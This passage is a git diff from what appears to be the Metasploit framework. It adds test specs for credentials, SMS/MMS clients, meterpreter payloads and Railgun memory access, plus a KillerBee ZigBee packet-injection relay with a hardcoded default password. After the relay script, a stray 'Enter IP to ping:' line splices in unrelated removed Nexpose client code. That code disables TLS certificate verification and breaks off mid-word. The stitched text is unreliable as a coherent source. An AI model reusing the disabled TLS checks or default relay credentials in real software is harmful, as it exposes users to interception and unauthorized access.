FactoryGirl.create(:metasploit_credential_origin_import), + private: nil, + public: nil, + realm: r, + workspace: framework.db.workspace) + expect { + creds.cmd_creds('add', "realm:#{r.value}", "realm-type:#{short_name}") + }.to_not change { Metasploit::Credential::Core.count } + end + end + end + end + end + context 'Cores with Logins' do + let(:address) { '192.168.0.1' } + let(:port) { 80 } + let(:proto) { 'tcp' } + let(:name) { 'Web Service' } + context 'With valid params' do + let(:create_core_with_login) { + creds.cmd_creds( + 'add', "user:#{username}", "password:#{password}", "realm:#{realm}", + "address:#{address}", "port:#{port}", "protocol:#{proto}", "service-name:#{name}") + } + it 'creates a core' do + expect { create_core_with_login }.to change { Metasploit::Credential::Core.count }.by 1 + end + it 'creates a login' do + expect { create_core_with_login }.to change { Metasploit::Credential::Login.count }.by 1 + end + it 'creates a service' do + expect { create_core_with_login }.to change { Mdm::Service.count }.by 1 + end + it 'creates a host' do + expect { create_core_with_login }.to change { Mdm::Host.count }.by 1 + end + end + end end diff --git a/spec/lib/rex/post/meterpreter/packet_parser_spec.rb b/spec/lib/rex/post/meterpreter/packet_parser_spec.rb index 1497ebaa9e..22f38ffc5f 100644 --- a/spec/lib/rex/post/meterpreter/packet_parser_spec.rb +++ b/spec/lib/rex/post/meterpreter/packet_parser_spec.rb @@ -26,11 +26,12 @@ RSpec.describe Rex::Post::Meterpreter::PacketParser do it "should parse valid raw data into a packet object" do while @raw.length >0 - parsed_packet = parser.recv(@sock) + parsed_packet, in_progress = parser.recv(@sock) end expect(parsed_packet).to be_a Rex::Post::Meterpreter::Packet expect(parsed_packet.type).to eq Rex::Post::Meterpreter::PACKET_TYPE_REQUEST expect(parsed_packet.method?("test_method")).to eq true + expect(in_progress).to eq false end end diff --git a/spec/lib/rex/proto/mms/client_spec.rb b/spec/lib/rex/proto/mms/client_spec.rb new file mode 100644 index 0000000000..256c66775f --- /dev/null +++ b/spec/lib/rex/proto/mms/client_spec.rb @@ -0,0 +1,62 @@ +# -*- coding: binary -*- +require 'spec_helper' +require 'rex/proto/mms/model' + +RSpec.describe Rex::Proto::Mms::Client do + + let(:phone_numbers) { ['1112223333'] } + + let(:message) { 'message' } + + let(:attachment) { 'file.jpg' } + + let(:file_content) { 'content' } + + let(:subject) { 'subject' } + + let(:ctype) { 'ctype' } + + let(:carrier) { :verizon } + + let(:smtp_server) { + Rex::Proto::Mms::Model::Smtp.new( + address: 'example.com', + port: 25, + username: 'username', + password: 'password' + ) + } + + subject do + Rex::Proto::Mms::Client.new( + carrier: carrier, + smtp_server: smtp_server + ) + end + + describe '#initialize' do + it 'sets carrier' do + expect(subject.carrier).to eq(carrier) + end + + it 'sets smtp server' do + expect(subject.smtp_server).to eq(smtp_server) + end + end + + describe '#send_mms_to_phones' do + before(:each) do + smtp = Net::SMTP.new(smtp_server.address, smtp_server.port) + allow(smtp).to receive(:start).and_yield + allow(smtp).to receive(:send_message) { |args| @sent_message = args } + allow(Net::SMTP).to receive(:new).and_return(smtp) + allow(File).to receive(:read).and_return(file_content) + end + + it 'sends an mms message' do + subject.send_mms_to_phones(phone_numbers, subject, message, attachment, ctype) + expect(@sent_message).to include('MIME-Version: 1.0') + end + end + +end diff --git a/spec/lib/rex/proto/mms/model/message_spec.rb b/spec/lib/rex/proto/mms/model/message_spec.rb new file mode 100644 index 0000000000..61afbac436 --- /dev/null +++ b/spec/lib/rex/proto/mms/model/message_spec.rb @@ -0,0 +1,62 @@ +require 'spec_helper' +require 'rex/proto/mms/model' + +RSpec.describe Rex::Proto::Mms::Model::Message do + + let(:message) { 'message' } + let(:content_type) { 'ctype' } + let(:attachment) { 'filepath.jpg' } + let(:filecontent) { 'file content' } + let(:from) { 'sender@example.com' } + let(:to) { 'receiver@example.com' } + let(:mms_subject) { 'subject' } + + before(:each) do + allow(File).to receive(:read).and_return(filecontent) + end + + subject do + described_class.new( + from: from, + to: to, + subject: mms_subject, + message: message, + content_type: content_type, + attachment_path: attachment + ) + end + + describe '#initialize' do + it 'sets message' do + expect(subject.message).to eq(message) + end + + it 'sets content type' do + expect(subject.content_type).to eq(content_type) + end + + it 'sets attachment path' do + expect(subject.attachment).to eq('ZmlsZSBjb250ZW50') + end + + it 'sets from' do + expect(subject.from).to eq(from) + end + + it 'sets to' do + expect(subject.to).to eq(to) + end + + it 'sets subject' do + expect(subject.subject).to eq(mms_subject) + end + end + + describe '#to_s' do + it 'returns the mms message' do + expect(subject.to_s).to include('MIME-Version: 1.0') + + end + end + +end diff --git a/spec/lib/rex/proto/mms/model/smtp_spec.rb b/spec/lib/rex/proto/mms/model/smtp_spec.rb new file mode 100644 index 0000000000..adcc06bb5b --- /dev/null +++ b/spec/lib/rex/proto/mms/model/smtp_spec.rb @@ -0,0 +1,57 @@ +# -*- coding: binary -*- +require 'spec_helper' +require 'rex/proto/mms/model' + +RSpec.describe Rex::Proto::Mms::Model::Smtp do + + let(:address) { 'example.com' } + let(:port) { 25 } + let(:username) { 'username' } + let(:password) { 'password' } + let(:login_type) { :login } + let(:from) { 'from' } + let(:helo_domain) { 'example.com'} + + subject do + Rex::Proto::Mms::Model::Smtp.new( + address: address, + port: port, + username: username, + password: password, + login_type: login_type, + from: from, + helo_domain: helo_domain + ) + end + + describe '#initialize' do + it 'sets address' do + expect(subject.address).to eq(address) + end + + it 'sets port' do + expect(subject.port).to eq(port) + end + + it 'sets username' do + expect(subject.username).to eq(username) + end + + it 'sets password' do + expect(subject.password).to eq(password) + end + + it 'sets login_type' do + expect(subject.login_type).to eq(login_type) + end + + it 'sets from' do + expect(subject.from).to eq(from) + end + + it 'sets helo domain' do + expect(subject.helo_domain).to eq(helo_domain) + end + end + +end diff --git a/spec/lib/rex/proto/sms/client_spec.rb b/spec/lib/rex/proto/sms/client_spec.rb new file mode 100644 index 0000000000..688435497f --- /dev/null +++ b/spec/lib/rex/proto/sms/client_spec.rb @@ -0,0 +1,53 @@ +# -*- coding: binary -*- +require 'spec_helper' +require 'rex/proto/sms/model' + +RSpec.describe Rex::Proto::Sms::Client do + + let(:phone_numbers) { ['1112223333'] } + + let(:message) { 'message' } + + let(:carrier) { :verizon } + + let(:smtp_server) { + Rex::Proto::Sms::Model::Smtp.new( + address: 'example.com', + port: 25, + username: 'username', + password: 'password' + ) + } + + subject do + Rex::Proto::Sms::Client.new( + carrier: carrier, + smtp_server: smtp_server + ) + end + + describe '#initialize' do + it 'sets carrier' do + expect(subject.carrier).to eq(carrier) + end + + it 'sets smtp server' do + expect(subject.smtp_server).to eq(smtp_server) + end + end + + describe '#send_text_to_phones' do + before(:each) do + smtp = Net::SMTP.new(smtp_server.address, smtp_server.port) + allow(smtp).to receive(:start).and_yield + allow(smtp).to receive(:send_message) { |args| @sent_message = args } + allow(Net::SMTP).to receive(:new).and_return(smtp) + end + + it 'sends a text message' do + subject.send_text_to_phones(phone_numbers, message) + expect(@sent_message).to eq(message) + end + end + +end diff --git a/spec/lib/rex/proto/sms/model/smtp_spec.rb b/spec/lib/rex/proto/sms/model/smtp_spec.rb new file mode 100644 index 0000000000..48b7a2b9bb --- /dev/null +++ b/spec/lib/rex/proto/sms/model/smtp_spec.rb @@ -0,0 +1,57 @@ +# -*- coding: binary -*- +require 'spec_helper' +require 'rex/proto/sms/model' + +RSpec.describe Rex::Proto::Sms::Model::Smtp do + + let(:address) { 'example.com' } + let(:port) { 25 } + let(:username) { 'username' } + let(:password) { 'password' } + let(:login_type) { :login } + let(:from) { 'from' } + let(:helo_domain) { 'example.com'} + + subject do + Rex::Proto::Sms::Model::Smtp.new( + address: address, + port: port, + username: username, + password: password, + login_type: login_type, + from: from, + helo_domain: helo_domain + ) + end + + describe '#initialize' do + it 'sets address' do + expect(subject.address).to eq(address) + end + + it 'sets port' do + expect(subject.port).to eq(port) + end + + it 'sets username' do + expect(subject.username).to eq(username) + end + + it 'sets password' do + expect(subject.password).to eq(password) + end + + it 'sets login_type' do + expect(subject.login_type).to eq(login_type) + end + + it 'sets from' do + expect(subject.from).to eq(from) + end + + it 'sets helo domain' do + expect(subject.helo_domain).to eq(helo_domain) + end + end + +end diff --git a/spec/modules/payloads_spec.rb b/spec/modules/payloads_spec.rb index 16b4389bbd..53a4f7ae1c 100644 --- a/spec/modules/payloads_spec.rb +++ b/spec/modules/payloads_spec.rb @@ -45,6 +45,16 @@ RSpec.describe 'modules/payloads', :content do reference_name: 'aix/ppc/shell_reverse_tcp' end + context 'android/meterpreter_reverse_https' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'singles/android/meterpreter_reverse_https' + ], + dynamic_size: true, + modules_pathname: modules_pathname, + reference_name: 'android/meterpreter_reverse_https' + end + context 'android/meterpreter_reverse_http' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ diff --git a/test/modules/post/test/meterpreter.rb b/test/modules/post/test/meterpreter.rb index ca69d1013b..df4ca7fa63 100644 --- a/test/modules/post/test/meterpreter.rb +++ b/test/modules/post/test/meterpreter.rb @@ -21,6 +21,7 @@ class MetasploitModule < Msf::Post )) register_options( [ + OptBool.new("AddEntropy" , [false, "Add entropy token to file and directory names.", false]), OptString.new("BaseFileName" , [true, "File/dir base name", "meterpreter-test"]) ], self.class) end @@ -132,7 +133,12 @@ class MetasploitModule < Msf::Post def test_fs vprint_status("Starting filesystem tests") - + if datastore["AddEntropy"] + entropy_value = '-' + ('a'..'z').to_a.shuffle[0,8].join + else + entropy_value = "" + end + it "should return the proper directory separator" do sysinfo = session.sys.config.sysinfo if sysinfo["OS"] =~ /windows/i @@ -167,7 +173,8 @@ class MetasploitModule < Msf::Post end it "should create and remove a dir" do - dir_name = "#{datastore["BaseFileName"]}-dir" + dir_name = "#{datastore["BaseFileName"]}-dir#{entropy_value}" + vprint_status("Directory Name: #{dir_name}") session.fs.dir.rmdir(dir_name) rescue nil res = create_directory(dir_name) if (res) @@ -180,7 +187,8 @@ class MetasploitModule < Msf::Post end it "should change directories" do - dir_name = "#{datastore["BaseFileName"]}-dir" + dir_name = "#{datastore["BaseFileName"]}-dir#{entropy_value}" + vprint_status("Directory Name: #{dir_name}") session.fs.dir.rmdir(dir_name) rescue nil res = create_directory(dir_name) @@ -208,7 +216,8 @@ class MetasploitModule < Msf::Post it "should create and remove files" do res = true - file_name = datastore["BaseFileName"] + file_name = "#{datastore["BaseFileName"]}#{entropy_value}" + vprint_status("File Name: #{file_name}") res &&= session.fs.file.open(file_name, "wb") { |fd| fd.write("test") } @@ -228,7 +237,8 @@ class MetasploitModule < Msf::Post it "should upload a file" do res = true - remote = "#{datastore["BaseFileName"]}-file.txt" + remote = "#{datastore["BaseFileName"]}-file#{entropy_value}.txt" + vprint_status("Remote File Name: #{remote}") local = __FILE__ vprint_status("uploading") session.fs.file.upload_file(remote, local) @@ -254,8 +264,10 @@ class MetasploitModule < Msf::Post it "should move files" do res = true - src_name = datastore["BaseFileName"] - dst_name = "#{datastore["BaseFileName"]}-moved" + src_name = "#{datastore["BaseFileName"]}#{entropy_value}" + vprint_status("Source File Name: #{src_name}") + dst_name = "#{src_name}-moved" + vprint_status("Destination File Name: #{dst_name}") # Make sure we don't have leftovers from a previous run session.fs.file.rm(src_name) rescue nil @@ -279,8 +291,10 @@ class MetasploitModule < Msf::Post it "should copy files" do res = true - src_name = datastore["BaseFileName"] - dst_name = "#{datastore["BaseFileName"]}-copied" + src_name = "#{datastore["BaseFileName"]}#{entropy_value}" + vprint_status("Source File Name: #{src_name}") + dst_name = "#{src_name}-copied" + vprint_status("Destination File Name: #{dst_name}") # Make sure we don't have leftovers from a previous run session.fs.file.rm(src_name) rescue nil @@ -304,7 +318,8 @@ class MetasploitModule < Msf::Post it "should do md5 and sha1 of files" do res = true - remote = "#{datastore["BaseFileName"]}-file.txt" + remote = "#{datastore["BaseFileName"]}-file#{entropy_value}.txt" + vprint_status("Remote File Name: #{remote}") local = __FILE__ vprint_status("uploading") session.fs.file.upload_file(remote, local) diff --git a/test/modules/post/test/railgun.rb b/test/modules/post/test/railgun.rb new file mode 100644 index 0000000000..8c364a4538 --- /dev/null +++ b/test/modules/post/test/railgun.rb @@ -0,0 +1,112 @@ + +require 'msf/core' + +lib = File.join(Msf::Config.install_root, "test", "lib") +require 'module_test' + +class MetasploitModule < Msf::Post + + include Msf::ModuleTest::PostTest + include Msf::Post::Windows::Railgun + + def initialize(info={}) + super( update_info( info, + 'Name' => 'Railgun API Tests', + 'Description' => %q{ This module will test railgun api functions}, + 'License' => MSF_LICENSE, + 'Author' => [ 'Spencer McIntyre'], + 'Platform' => [ 'windows' ] + )) + end + + def test_api_function_calls + + it "Should include error information in the results" do + ret = true + result = session.railgun.kernel32.GetCurrentProcess() + ret &&= result['GetLastError'] == 0 + ret &&= result['ErrorMessage'].is_a? String + end + + it "Should support functions with no parameters" do + ret = true + result = session.railgun.kernel32.GetCurrentThread() + ret &&= result['GetLastError'] == 0 + ret &&= result['return'] != 0 + end + + it "Should support functions with literal parameters" do + ret = true + result = session.railgun.kernel32.Sleep(50) + ret &&= result['GetLastError'] == 0 + end + + it "Should support functions with in/out/inout parameter types" do + ret = true + # DnsHostnameToComputerNameA is ideal because it uses all 3 types see: + # https://msdn.microsoft.com/en-us/library/windows/desktop/ms724244(v=vs.85).aspx + result = session.railgun.kernel32.DnsHostnameToComputerNameA('localhost', 64, 64) + ret &&= result['GetLastError'] == 0 + ret &&= result['ComputerName'].is_a? String + ret &&= result['nSize'].to_i == result['ComputerName'].length + end + + it "Should support calling multiple functions at once" do + ret = true + multi_rail = [ + ['kernel32', 'LoadLibraryA', ['kernel32.dll']], + ['kernel32', 'GetModuleHandleA', ['kernel32.dll']], + ['kernel32', 'GetCurrentProcessId', []] + ] + results = session.railgun.multi(multi_rail) + ret &&= results.length == multi_rail.length + results.each do |result| + ret &&= result['GetLastError'] == 0 + ret &&= result['return'] != 0 + end + + # LoadLibraryA('kernel32.dll') == GetModuleHandleA('kernel32.dll') + ret &&= results[0]['return'] == results[1]['return'] + ret &&= results[2]['return'] == session.sys.process.getpid + end + + it "Should support reading memory" do + ret = true + result = client.railgun.kernel32.GetModuleHandleA('kernel32') + ret &&= result['GetLastError'] == 0 + ret &&= result['return'] != 0 + return false unless ret + + handle = result['return'] + mz_header = client.railgun.memread(handle, 4) + ret &&= mz_header == "MZ\x90\x00" + end + + it "Should support writing memory" do + ret = true + result = client.railgun.kernel32.GetProcessHeap() + ret &&= result['GetLastError'] == 0 + ret &&= result['return'] != 0 + return false unless ret + + buffer_size = 32 + handle = result['return'] + result = client.railgun.kernel32.HeapAlloc(handle, 0, buffer_size) + ret &&= result['GetLastError'] == 0 + ret &&= result['return'] != 0 + return false unless ret + + buffer_value = Rex::Text.rand_text_alphanumeric(buffer_size) + buffer = result['return'] + ret &&= client.railgun.memwrite(buffer, buffer_value, buffer_size) + ret &&= client.railgun.memread(buffer, buffer_size) == buffer_value + + client.railgun.kernel32.HeapFree(handle, 0, buffer) + ret + end + + end + +end + + diff --git a/tools/dev/msftidy.rb b/tools/dev/msftidy.rb index f61892baa2..1a1dd31912 100755 --- a/tools/dev/msftidy.rb +++ b/tools/dev/msftidy.rb @@ -618,7 +618,7 @@ class Msftidy end def check_vars_get - test = @source.scan(/send_request_cgi\s*\(\s*\{?\s*['"]uri['"]\s*=>\s*[^=})]*?\?[^,})]+/im) + test = @source.scan(/send_request_cgi\s*\(?\s*\{?\s*['"]uri['"]\s*=>\s*[^=})]*?\?[^,})]+/im) unless test.empty? test.each { |item| info("Please use vars_get in send_request_cgi: #{item}") diff --git a/tools/hardware/killerbee_msfrelay b/tools/hardware/killerbee_msfrelay new file mode 100755 index 0000000000..e3403f54cc --- /dev/null +++ b/tools/hardware/killerbee_msfrelay @@ -0,0 +1,251 @@ +#!/usr/bin/env python +# KillerBee Metasploit relay server + +import re +import os +import sys +import cmd +import time +import json +import base64 +import socket +import threading +import pkg_resources # Used to get killerbee version + +from BaseHTTPServer import BaseHTTPRequestHandler,HTTPServer +from urlparse import parse_qs,urlparse +from killerbee import * + +last_errors = 0 +starttime = 0 +packets_sent = 0 +last_sent = 0 +username = None +password = None +kb = None + +class MSFHandler(BaseHTTPRequestHandler): + def status(self): + status = {} + hw_versions = [] + fw_version = pkg_resources.get_distribution("killerbee").version + device_names = [] + for dev in kbutils.devlist(): + hw_versions.append(dev[2]) + device_names.append(dev[1]) + if len(hw_versions) > 0: + status["operational"] = 1 + else: + status["operational"] = 0 + status["hw_specialty"] = { "zigbee": True } + # TODO: We should check firmware before reporting transmit capabilities + status["hw_capabilities"] = { "transmit": True} + status["last_10_errors"] = last_errors + status["api_version"] = "0.0.3" + status["fw_version"] = fw_version + if len(hw_versions) == 1: + status["hw_version"] = hw_versions[0] + status["device_name"] = device_names[0] + elif len(hw_versions) > 1: + status["hw_version"] = ', '.join(hw_versions) + status["device_name"] = ', '.join(device_names) + else: + status["hw_version"] = "Not Supported" + return status + + def statistics(self): + global packets_sent + stats = {} + stats["uptime"] = int(time.time()) - starttime + stats["packet_stats"] = packets_sent + stats["last_request"] = last_sent + stats["voltage"] = "0.0v" + return stats + + def datetime(self): + return { "sytem_datetime": int(time.time()) } + + def timezone(self): + return { "system_timezone": time.strftime("%Z") } + + def set_channel(self, args): + if not "chan" in args: + return self.not_supported() + chan = int(args["chan"][0]) + kb.set_channel(chan) + return { "success": True } + + def inject(self, args): + global packets_sent + if not "data" in args: + return self.not_supported() + try: + kb.inject(base64.urlsafe_b64decode(args["data"][0])) + packets_sent+=1 + except Exception, e: + print("ERROR: Unable to inject packet: {0}".format(e)) + return { "success": False } + return { "success": True } + + def recv(self): + pkt = kb.pnext() + if pkt != None and pkt[1]: + return {"data": base64.urlsafe_b64encode(pkt[0]), "valid_crc": pkt[1], "rssi": pkt[2] } + return {} + + def sniffer_off(self): + kb.sniffer_off() + return {"success": True } + + def sniffer_on(self): + kb.sniffer_on() + return {"success": True } + + def supported_devices(self): + devices = [] + for dev in kbutils.devlist(): + devices.append(dev[0]) + return { "devices": devices } + + def not_supported(self): + return { "status": "not supported" } + + def send(self, data, resp=200): + self.send_response(resp) + self.send_header('Content-type','application/json') + self.end_headers() + self.wfile.write(json.dumps(data)) + return + + def do_AUTHHEAD(self): + self.send_response(401) + self.send_header('WWW-Authenticate', 'Basic realm=\"Killerbee MSF Relay\"') + self.send_header('Content-type', 'text/html') + self.end_headers() + self.wfile.write("Please Authenticate") + + def do_GET(self): + if not password == None: + if self.headers.getheader('Authorization') == None: + print("Did not authenticate") + self.do_AUTHHEAD() + return + if not self.headers.getheader('Authorization') == 'Basic '+base64.b64encode(username + ":" + password): + print("Bad Authentication") + self.do_AUTHHEAD() + return + url = urlparse(self.path) + args = parse_qs(url.query) + if self.path=="/status": + self.send(self.status()) + elif self.path=="/statistics": + self.send(self.statistics()) + elif self.path=="/settings/datetime": + self.send(self.datetime()) + elif self.path=="/settings/timezone": + self.send(self.timezone()) + elif self.path=="/zigbee/supported_devices": + self.send(self.supported_devices()) + elif self.path.startswith("/zigbee/"): + re_dev = re.compile("/zigbee/([\d\w:]+)/") + m = re_dev.match(self.path) + if m: + dev = m.group(1) + if self.path.find("/set_channel?") > -1: + self.send(self.set_channel(args)) + elif self.path.find("/inject?") > -1: + self.send(self.inject(args)) + elif self.path.find("/recv") > -1: + self.send(self.recv()) + elif self.path.find("/sniffer_off") > -1: + self.send(self.sniffer_off()) + elif self.path.find("/sniffer_on") > -1: + self.send(self.sniffer_on()) + else: + self.send(self.not_supported(), 404) + else: + self.send(self.not_supported(), 404) + else: + self.send(self.not_supported(), 404) + return + +class Killerbee_MSFRelay(cmd.Cmd): + intro = """ + KillerBee Metasploit Relay +""" + + def __init__(self, ip='0.0.0.0', port=8080): + cmd.Cmd.__init__(self) + + self._ip = ip + self._port = port + self._sock = None + self._pause = False + + self.start() + + def start(self): + self._go = True + while self._go: + # serve the NIC port + try: + self._sock = HTTPServer((self._ip, self._port), MSFHandler) + starttime = int(time.time()) + print("KillerBee MSFRelay running.") + self._sock.serve_forever() + except KeyboardInterrupt: + self._sock.socket.close() + self._go = False + except: + sys.excepthook(*sys.exc_info()) + +if __name__ == "__main__": + import argparse + + parser = argparse.ArgumentParser() + parser.add_argument('-i', '--iface', '--dev', action='store', dest='devstring') + parser.add_argument('-u', '--user', default="msf_relay", help='HTTP Username', type=str) + parser.add_argument('-p', '--password', default="rfcat_relaypass", help='HTTP Password', type=str) + parser.add_argument('-P', '--Port', default=8080, type=int) + parser.add_argument('--noauth', default=False, action="store_true", help='Do not require authentication') + parser.add_argument('--localonly', default=False, action="store_true", help='Listen on localhost only') + + ifo = parser.parse_args() + + try: + kb = KillerBee(device=ifo.devstring) + except KBInterfaceError as e: + print("Interface Error: {0}".format(e)) + sys.exit(-1) + + username = ifo.user + password = ifo.password + ip = "0.0.0.0" + port = ifo.Port + if ifo.noauth: + username = None + password = None + if ifo.localonly: + host = "127.0.0.1" + + wait_msg = False + dev_found = False + while not dev_found: + try: + devs = kbutils.devlist() + if len(devs) > 0: + dev_found = True + elif not wait_msg: + print("Insert KillerBee compatible ZigBee device. (You may need to add permissions)") + wait_msg = True + except KeyboardInterrupt: + sys.exit() + except: + if not wait_msg: + print("Insert KillerBee compatible ZigBee device. (You may need to add permissions)") + wait_msg = True + + beerelay = Killerbee_MSFRelay(ip, port) + +import atexit +atexit.register(cleanupInteractiveAtExit)
Enter IP to ping:
" + nsc.error_msg.to_s -# end -# -class Connection - include XMLUtils - include NexposeAPI - - # true if an error condition exists; false otherwise - attr_reader :error - # Error message string - attr_reader :error_msg - # The last XML request sent by this object - attr_reader :request_xml - # The last XML response received by this object - attr_reader :response_xml - # Session ID of this connection - attr_reader :session_id - # The hostname or IP Address of the NSC - attr_reader :host - # The port of the NSC (default is 3780) - attr_reader :port - # The username used to login to the NSC - attr_reader :username - # The password used to login to the NSC - attr_reader :password - # The URL for communication - attr_reader :url - - # Constructor for Connection - def initialize(ip, user, pass, port = 3780) - @host = ip - @port = port - @username = user - @password = pass - @session_id = nil - @error = false - @url = "https://#{@host}:#{@port}/api/1.1/xml" - @url_base = "https://#{@host}:#{@port}/api/" - end - - # Establish a new connection and Session ID - def login - - # This throws an APIError exception if necessary - r = execute(make_xml('LoginRequest', { 'sync-id' => 0, 'password' => @password, 'user-id' => @username })) - if(r.success) - @session_id = r.sid - return true - end - - false - end - - # Logout of the current connection - def logout - # Bypass logout unless we have an actual session ID - return true unless @session_id - - r = execute(make_xml('LogoutRequest', {'sync-id' => 0})) - if(r.success) - return true - end - raise APIError.new(r, 'Logout failed') - end - - # Execute an API request - def execute(xml, version='1.1') - APIRequest.execute("#{@url_base}#{version}/xml", xml.to_s) - end - - # Download a specific URL - def download(url) - uri = URI.parse(url) - http = Net::HTTP.new(@host, @port) - http.use_ssl = true - http.verify_mode = OpenSSL::SSL::VERIFY_NONE # XXX: security issue - headers = {'Cookie' => "nexposeCCSessionID=#{@session_id}"} - resp = http.get(uri.path, headers) - - resp ? resp.body : nil - end -end - -# === Description -# Object that represents a listing of all of the sites available on an NSC. -# -# === Example -# # Create a new Nexpose Connection on the default port and Login -# nsc = Connection.new("10.1.40.10","nxadmin","password") -# nsc->login(); -# -# # Get Site Listing -# sitelisting = SiteListing.new(nsc) -# -# # Enumerate through all of the SiteSummaries -# sitelisting.sites.each do |sitesummary| -# # Do some operation on each site -# end -# -class SiteListing - # true if an error condition exists; false otherwise - attr_reader :error - # Error message string - attr_reader :error_msg - # The last XML request sent by this object - attr_reader :request_xml - # The last XML response received by this object - attr_reader :response_xml - # The NSC Connection associated with this object - attr_reader :connection - # Array containing SiteSummary objects for each site in the connection - attr_reader :sites - # The number of sites - attr_reader :site_count - - # Constructor - # SiteListing (connection) - def initialize(connection) - @sites = [] - - @connection = connection - - r = @connection.execute('') - - if (r.success) - parse(r.res) - else - raise APIError.new(r, "Failed to get site listing") - end - end - - def parse(r) - r.elements.each('SiteListingResponse/SiteSummary') do |s| - site_summary = SiteSummary.new( - s.attributes['id'].to_s, - s.attributes['name'].to_s, - s.attributes['description'].to_s, - s.attributes['riskfactor'].to_s - ) - @sites.push(site_summary) - end - @site_count = @sites.length - end -end - -# === Description -# Object that represents the summary of a Nexpose Site. -# -class SiteSummary - # The Site ID - attr_reader :id - # The Site Name - attr_reader :site_name - # A Description of the Site - attr_reader :description - # User assigned risk multiplier - attr_reader :riskfactor - - # Constructor - # SiteSummary(id, site_name, description, riskfactor = 1) - def initialize(id, site_name, description, riskfactor = 1) - @id = id - @site_name = site_name - @description = description - @riskfactor = riskfactor - end - - def _set_id(id) - @id = id - end -end - -# === Description -# Object that represents a single IP address or an inclusive range of IP addresses. If to is nil then the from field will be used to specify a single IP Address only. -# -class IPRange - # Start of Range *Required - attr_reader :from; - # End of Range *Optional (If Null then IPRange is a single IP Address) - attr_reader :to; - - def initialize(from, to = nil) - @from = from - @to = to - end - - include Sanitize - def to_xml - if (to and not to.empty?) - return %Q{} - else - return %Q{} - end - end -end - -# === Description -# Object that represents a hostname to be added to a site. -class HostName - - # The hostname - attr_reader :hostname - - def initialize(hostname) - @hostname = hostname - end - - include Sanitize - def to_xml - "#{replace_entities(hostname)}" - end -end - -# === Description -# Object that represents the configuration of a Site. This object is automatically created when a new Site object is instantiated. -# -class SiteConfig - # true if an error condition exists; false otherwise - attr_reader :error - # Error message string - attr_reader :error_msg - # The last XML request sent by this object - attr_reader :request_xml - # The last XML response received by this object - attr_reader :response_xml - # The NSC Connection associated with this object - attr_reader :connection - # The Site ID - attr_reader :site_id - # The Site Name - attr_reader :site_name - # A Description of the Site - attr_reader :description - # User assigned risk multiplier - attr_reader :riskfactor - # Array containing ((IPRange|HostName)*) - attr_reader :hosts - # Array containing (AdminCredentials*) - attr_reader :credentials - # Array containing ((SmtpAlera|SnmpAlert|SyslogAlert)*) - attr_reader :alerts - # ScanConfig object which holds Schedule and ScanTrigger Objects - attr_reader :scanConfig - - def initialize() - @xml_tag_stack = Array.new() - @hosts = Array.new() - @credentials = Array.new() - @alerts = Array.new() - @error = false - end - - # Adds a new host to the hosts array - def addHost(host) - @hosts.push(host) - end - - # Adds a new alert to the alerts array - def addAlert(alert) - @alerts.push(alert) - end - - # Adds a new set of credentials to the credentials array - def addCredentials(credential) - @credentials.push(credential) - end - - # TODO - def getSiteConfig(connection,site_id) - @connection = connection - @site_id = site_id - - r = APIRequest.execute(@connection.url,'') - parse(r.res) - end - - def _set_site_id(site_id) - @site_id = site_id - end - - def _set_site_name(site_name) - @site_name = site_name - end - - def _set_description(description) - @description = description - end - - def _set_riskfactor(riskfactor) - @riskfactor = riskfactor - end - - def _set_scanConfig(scanConfig) - @scanConfig = scanConfig - end - - def _set_connection(connection) - @connection = connection - end -=begin - - - - - - - - - - - - - - - - - -=end - - def parse(response) - response.elements.each('SiteConfigResponse/Site') do |s| - @site_id = s.attributes['id'] - @site_name = s.attributes['name'] - @description = s.attributes['description'] - @riskfactor = s.attributes['riskfactor'] - s.elements.each('Hosts/range') do |r| - @hosts.push(IPRange.new(r.attributes['from'],r.attributes['to'])) - end - s.elements.each('ScanConfig') do |c| - @scanConfig = ScanConfig.new(c.attributes['configID'], - c.attributes['name'], - c.attributes['configVersion'], - c.attributes['templateID']) - s.elements.each('Schedule') do |schedule| - schedule = new Schedule(schedule.attributes["type"], schedule.attributes["interval"], schedule.attributes["start"], schedule.attributes["enabled"]) - @scanConfig.addSchedule(schedule) - end - end - - s.elements.each('Alerting/Alert') do |a| - - a.elements.each('smtpAlert') do |smtp| - smtp_alert = SmtpAlert.new(a.attributes["name"], smtp.attributes["sender"], smtp.attributes["limitText"], a.attributes["enabled"]) - - smtp.elements.each('recipient') do |recipient| - smtp_alert.addRecipient(recipient.text) - end - @alerts.push(smtp_alert) - end - - a.elements.each('snmpAlert') do |snmp| - snmp_alert = SnmpAlert.new(a.attributes["name"], snmp.attributes["community"], snmp.attributes["server"], a.attributes["enabled"]) - @alerts.push(snmp_alert) - end - a.elements.each('syslogAlert') do |syslog| - syslog_alert = SyslogAlert.new(a.attributes["name"], syslog.attributes["server"], a.attributes["enabled"]) - @alerts.push(syslog_alert) - end - - a.elements.each('vulnFilter') do |vulnFilter| - - #vulnfilter = new VulnFilter.new(a.attributes["typemask"], a.attributes["severityThreshold"], $attrs["MAXALERTS"]) - # Pop off the top alert on the stack - #$alert = @alerts.pop() - # Add the new recipient string to the Alert Object - #$alert.setVulnFilter($vulnfilter) - # Push the alert back on to the alert stack - #array_push($this->alerts, $alert) - end - - a.elements.each('scanFilter') do |scanFilter| - # - #scanfilter = ScanFilter.new(scanFilter.attributes['scanStop'],scanFilter.attributes['scanFailed'],scanFilter.attributes['scanStart']) - #alert = @alerts.pop() - #alert.setScanFilter(scanfilter) - #@alerts.push(alert) - end - end - end - end -end - -# === Description -# Object that represents the scan history of a site. -# -class SiteScanHistory - # true if an error condition exists; false otherwise - attr_reader :error - # Error message string - attr_reader :error_msg - # The last XML request sent by this object - attr_reader :request_xml - # The last XML response received by this object - attr_reader :response_xml - # The NSC Connection associated with this object - attr_reader :connection - # The Site ID - attr_reader :site_id - # //Array containing (ScanSummary*) - attr_reader :scan_summaries - - def initialize(connection, id) - @site_id = id - @error = false - @connection = connection - @scan_summaries = Array.new() - - r = @connection.execute('') - status = r.success - end -end - -# === Description -# Object that represents a listing of devices for a site or the entire NSC. Note that only devices which are accessible to the account used to create the connection object will be returned. This object is created and populated automatically with the instantiation of a new Site object. -# -class SiteDeviceListing - - # true if an error condition exists; false otherwise - attr_reader :error - # Error message string - attr_reader :error_msg - # The last XML request sent by this object - attr_reader :request_xml - # The last XML response received by this object - attr_reader :response_xml - # The NSC Connection associated with this object - attr_reader :connection - # The Site ID. 0 if all sites are specified. - attr_reader :site_id - # //Array of (Device)* - attr_reader :devices - - def 